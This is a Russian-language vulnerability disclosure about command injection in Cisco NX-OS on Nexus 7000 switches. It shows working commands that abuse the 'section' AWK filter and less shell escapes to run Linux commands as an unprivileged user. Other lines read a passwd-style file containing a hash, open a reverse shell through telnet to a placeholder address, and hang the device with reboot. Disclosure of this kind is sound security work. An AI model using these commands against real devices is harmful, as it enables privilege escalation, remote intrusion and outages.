
Опубликованные уязвимости безопасности, исследования и связанная информация.
Требуется локальный доступ. Однако непривилегированные учётные записи могут получить доступ к нижележащей операционной системе Linux, что фактически предоставляет полный доступ к устройству. Это потенциально может привести к проблемам в средах, где персоналу NOC и другим сотрудникам разрешён низкоуровневый доступ для первичного реагирования и т. п.
Эта проблема была обнаружена на платформе Nexus 7000. Предполагается, что она также затрагивает следующие платформы:
Команда section, по-видимому, представляет собой AWK-скрипт, которому передаётся запрошенная строка. Однако ввод, судя по всему, не очищается должным образом. В результате с помощью AWK можно выполнять произвольные команды в подсистеме Linux.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Это можно даже использовать для удаления всех файлов на bootflash и отправки системе команды «reboot». Однако перезагрузка из подсистемы Linux приводит к тому, что устройство выводит сообщения на консоль и зависает, а не перезагружается по-настоящему.
Предположительно затрагивает следующие версии программного обеспечения:
В качестве примера:
switch# sh clock | less
Когда открывается less, мы можем открывать файлы, нажав двоеточие, а затем «e» и указав путь к файлу.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
Однако это снова лишь доступ только для чтения. НО если использовать макроклавишу «|» (pipe), а затем «$», можно выполнять команды.
!ls -lah > /bootflash/20110715
Как показано ниже, файл был создан на boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Используя этот метод, мне удалось установить удалённую оболочку (remote shell) в подсистему Linux NX-OS с помощью следующего:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Даже команда reboot принимается как допустимый ввод. Однако вместо перезагрузки устройства она приводит к зависанию системы с выводом ошибок на консоль.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):